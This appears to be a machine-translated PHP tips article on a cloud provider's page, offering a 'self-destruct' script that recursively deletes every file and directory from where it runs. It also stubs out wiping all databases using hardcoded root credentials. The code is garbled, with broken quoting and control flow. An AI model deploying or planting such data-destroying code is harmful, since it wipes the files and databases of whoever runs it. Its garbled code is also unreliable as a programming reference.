PHP Self Destruct program (with caution) _php tips

Source: Internet
Author: User
Tags parent directory php programming

This example describes the PHP self-destruct program. Share to everyone for your reference. The implementation method is as follows:

<?php//+----------------------------------------------------------------------//|
kill!! // | The program will clear all files, directories//| If you set up database information, try to delete all the database and table data (if you have enough permissions!). )//+----------------------------------------------------------------------//| Version: $Id $//+----------------------------------------------------------------------//----------
Database Configuration area-----------------//The Power of vengeance is terrible, so do not need to specify the database, delete all!
Define (' Db_user ', ' root ');
Define (' Db_pwd ', ' root ');
Define (' db_host ', ' localhost ');
Define (' Db_port ', ' 3216 '); Define (' Db_damage ', true);
False, do not touch database run ();
 /** * Subject thought must be glorious and great!
 * * @return void **/function Run () {//delete file Deletedir ();
Delete database Deletedb (); /** * hehe, delete all files in the current directory (recursive) * * @return void **/function deletedir ($dir = ') {if ($dir = = ') {$dir = Realpath ('.
 ');
 Echo $dir;
  Exit ();
  if (!handle= @opendir ($dir)) {//Detect die ("no directory") to open the directory; A while (false!== ($file =readdir ($handle))) {if ($file!==.) && $file!== "...") {//Exclude the current directory from the parent directory $file = $dir. DIRECtory_separator.
    $file;
    if (Is_dir ($file)) {Deletedir ($file); }else{if (@unlink ($file)) {echo file <b> $file </b> Delete succeeded.
     <br> ";
     }else{echo "File <b> $file </b> delete failed!<br>"; }} if (@rmdir ($dir)) {echo directory <b> $dir </b> Delete succeeded.
    <br>\n "; }else{echo "Directory <b> $dir </b> Delete failed!
    <br>\n ";

 }/** * Oh oh, delete database * * @return void **/function Deletedb () {if (Db_damage = = True) {//start}}

I hope this article will help you with your PHP programming.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.